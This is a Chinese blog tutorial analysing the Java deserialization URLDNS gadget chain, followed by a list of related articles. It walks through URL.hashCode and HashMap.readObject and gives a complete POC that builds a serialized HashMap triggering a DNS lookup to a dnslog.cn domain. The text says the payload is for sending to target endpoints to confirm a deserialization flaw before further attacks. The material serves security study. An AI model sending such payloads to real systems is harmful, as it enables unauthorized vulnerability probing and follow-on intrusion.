一、前置知识

菜鸟教程 Java 序列化

Java安全-反射

URLDNS链的作用就是在目标主机中可能存在反序列化输入的数据的地方,传入序列化后的URLDNS利用链,如果目标主机解析了这个URL地址,那么证明该处存在反序列化数据的行为。然后就可以进一步尝试其他反序列化漏洞了。

反射

下面是两个本文中要用到的反射方法:

反射获取类对象:

Student s = new Student();
//方法1
Class clazz = s.getClass();
//方法2
Class clazz2 = Student.class;

反射修改私有成员变量:

Field name = clazz.getDeclaredField("name");
name.setAccessible(true);
name.set(s,"zzy");

二、分析

1. URL

URL.class关键代码

public final class URL implements java.io.Serializable {
private int hashCode = -1; public synchronized int hashCode() {
if (hashCode != -1)
return hashCode; hashCode = handler.hashCode(this);
return hashCode;
}
}

首先看,URL类中有个hashCode方法,他会调用URLStreamHandler类的hashCode方法,URLStreamHandler的hashCode方法里面有个getHostAddress方法,它又会调用InetAddress下面这行代码,发起DNS请求。

addresses = nameService.lookupAllHostAddr(host);

总而言之,记住调用URL类的hashCode方法就会发起DNS请求就可以了,域名是通过构造方法传入的。

写一下代码来看看能不能实现DNS请求

package com.learn;

import java.net.MalformedURLException;
import java.net.URL; public class Blog {
public static void main(String[] args) throws MalformedURLException {
URL url = new URL("https://test.wc5uoi.dnslog.cn");
url.hashCode();
}
}

可以看到成功发起了DNS请求

我们最终要的效果是在反序列化的过程中发起DNS请求,那么需要在readObject中有hashCode方法,或者在readObject中有的方法调用了URL类的hashCode方法

URL类中的readObject方法

URL类自身的readObject方法有点没有头绪,我们还是来找找其他类的readObject方法吧

2. HashMap

可以看到HashMap有一个hash方法调用了hashCode方法

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

右键hash方法,选择查找用法,可以看到HashMap的readObject方法使用了hash方法,readObject不正好是反序列化的入口点吗,那可太好了

在readObject中key是从输入流中读取的。具体来说,在循环中,通过调用s.readObject()方法来读取一个对象,并将其强制转换为K类型,即键的类型。

所以key的值是从序列化的HashMap对象获得的,在这里我们可以把key的值设成URL对象,那么在hash方法中就会调用URL的hashCode方法,进而完成DNS解析。

试着写一下代码

package com.learn;

import java.io.*;
import java.net.URL;
import java.util.HashMap; public class Blog {
public static void main(String[] args) throws IOException, ClassNotFoundException {
URL url = new URL("https://test.9oeary.dnslog.cn");
HashMap<URL, String> hashMap = new HashMap<URL, String>();
hashMap.put(url, "123"); serial(hashMap);
unserial();
} public static void serial(Object obj) throws IOException {
//Serialize
ObjectOutputStream objectOut = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOut.writeObject(obj);
objectOut.close();
} public static void unserial() throws IOException, ClassNotFoundException {
//UnSerialize
ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("ser.bin"));
Object result = objIn.readObject();
System.out.println(result.toString());
objIn.close();
}
}

成功完成DNS请求

虽然这里成功发起dns请求了,但是把序列化和反序列化代码注释掉,他还是发起了dns请求

这是为什么呢?

3. 解决一些问题

通过调试看到,HashMap在put的时候就会调用hash方法

所以程序在序列化前就会发起dns请求,那么怎么才能在序列化前不触发dns请求呢?

继续跟进程序,这是URL的hashCode方法:

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode; hashCode = handler.hashCode(this);
return hashCode;
}

可以看到如果hashCode变量不是-1的话,那么就会return,不会再执行handler.hashCode,这样就不会发起dns请求

继续跟进,发现hashCode在定义时的初始值就是-1

private int hashCode = -1;

反射修改字段值

由于hashCode是私有变量,无法直接修改,所以这里用反射来修改成员变量的值

Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1);

由于这里把hashCode改为1了,在put后还需要把它改回-1,让程序在反序列化还会发起dns请求

//将hashCode改为 1
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1); hashMap.put(url, "123"); //将hashCode改回 -1
hashCodeField.set(url, -1);

三、POC

package com.learn;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap; public class Blog {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
URL url = new URL("https://test.0x044e.dnslog.cn");
HashMap<URL, String> hashMap = new HashMap<URL, String>(); //将hashCode改为 1
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1); hashMap.put(url, "随便输入点东西"); //将hashCode改回 -1
hashCodeField.set(url, -1); serial(hashMap);
unserial();
} public static void serial(Object obj) throws IOException {
//Serialize
ObjectOutputStream objectOut = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOut.writeObject(obj);
objectOut.close();
} public static void unserial() throws IOException, ClassNotFoundException {
//UnSerialize
ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("ser.bin"));
Object result = objIn.readObject();
System.out.println(result.toString());
objIn.close();
}
}

到此poc已构造完毕,把序列化的数据发送到可能存在反序列化时的功能点上,如果dns请求成功,那么就代表这个功能点存在反序列化,之后可以进一步利用其他的反序列化漏洞来进行测试

四、利用链

HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()

Java反序列化漏洞-URLDNS链分析的更多相关文章

  1. 通过WebGoat学习java反序列化漏洞

    首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...

  2. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  3. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  4. WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

    10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...

  5. Java反序列化漏洞实现

    一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...

  6. java反序列化漏洞原理研习

    零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...

  7. Java反序列化漏洞之殇

    ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...

  8. java 反序列化漏洞检测及修复

    Jboss.Websphere和weblogic的反序列化漏洞已经出来一段时间了,还是有很多服务器没有解决这个漏洞: 反序列化漏洞原理参考:JAVA反序列化漏洞完整过程分析与调试 这里参考了网上的 J ...

  9. Java反序列化漏洞的挖掘、攻击与防御

    一.Java反序列化漏洞的挖掘 1.黑盒流量分析: 在Java反序列化传送的包中,一般有两种传送方式,在TCP报文中,一般二进制流方式传输,在HTTP报文中,则大多以base64传输.因而在流量中有一 ...

  10. Lib之过?Java反序列化漏洞通用利用分析

    转http://blog.chaitin.com/ 1 背景 2 Java反序列化漏洞简介 3 利用Apache Commons Collections实现远程代码执行 4 漏洞利用实例 4.1 利用 ...

随机推荐

  1. paramiko免密登陆

    paramiko免密登陆 # -*- coding: utf-8 -*- import paramiko pkey='D:/pycharm_workspace/testpy/ssh_paramiko_ ...

  2. Dubbo3应用开发—协议(Dubbo协议、REST协议 、gRPC协议、Triple协议)

    协议 协议简介 什么是协议 Client(Consumer端)与Server(Provider端)在传输数据时双方的约定. Dubbo3中常见的协议 1.dubbo协议[前面文章中使用的都是dubbo ...

  3. Vue2系列(lqz)——slot插槽 (内容分发)、2 transition过渡、3 生命周期、4 swiper学习、5 自定义组件的封装、6 自定义指令、7 过滤器

    文章目录 1 slot插槽 (内容分发) 1.1 基本使用 1.2 插槽应用场景1 1.3 插槽应用场景2 1.4 具名插槽 2 transition过渡 3 生命周期 4 swiper学习 5 自定 ...

  4. 2D物理引擎 Box2D for javascript Games 第四章 将力作用到刚体上

    2D物理引擎 Box2D for javascript Games 第四章 将力作用到刚体上 将力作用到刚体上 Box2D 是一个在力作用下的世界,它可以将力作用于刚体上,从而给我们一个更加真实的模拟 ...

  5. Vue之for循环

    Vue中for循环的用法总结如下: 1.基本用法 v-for <!DOCTYPE html> <html lang="en"> <head> & ...

  6. 计算机的数值转化与网络的IP地址分类与地址划分

    数值转换 数字系统由来 远古时代是没有数字系统非位置化数字系统: 罗马数字 (I-1.II-2.III-3.IV-4.V-5.VI-6.VII-7.VIII-8.IX-9.X-10) 位置话数字化系统 ...

  7. EFCore 使用FluntApi配置 全局查询筛选器

    我们在类中通常会有一个属性为 IsDel来表示软删除或也称逻辑删除,这个属性会导致我们在进行查询操作时,每一次都要 .where(s=>s.IsDel==false) 非常的麻烦.在使用efCo ...

  8. nginx 配置 proxy_next_upstream 会出现未预期 502 错误问题排查

    当使用nginx代理多个网关实例时, 当被请求服务的get 接口异常时,如 error timeout invalid_header http_500 http_502 http_503 http_5 ...

  9. Vue 2.x源码学习:应用初始化大致流程

    内容乃本人学习Vue2源码的一点笔记,若有错误还望指正. 源码版本: vue: 2.6 vue-loader: 13.x vue-template-compiler: 2.6 相关学习笔记: 数据响应 ...

  10. 使用js写一个音乐音谱图

    我们经常看到在听乐音的时候,会有音谱图随着音乐的节奏不断变化给人视觉上的享受,那么我们通过js来实现以下这个效果,下面是简单的效果图 首先我们需要有一个绘制音频的函数 function draw() ...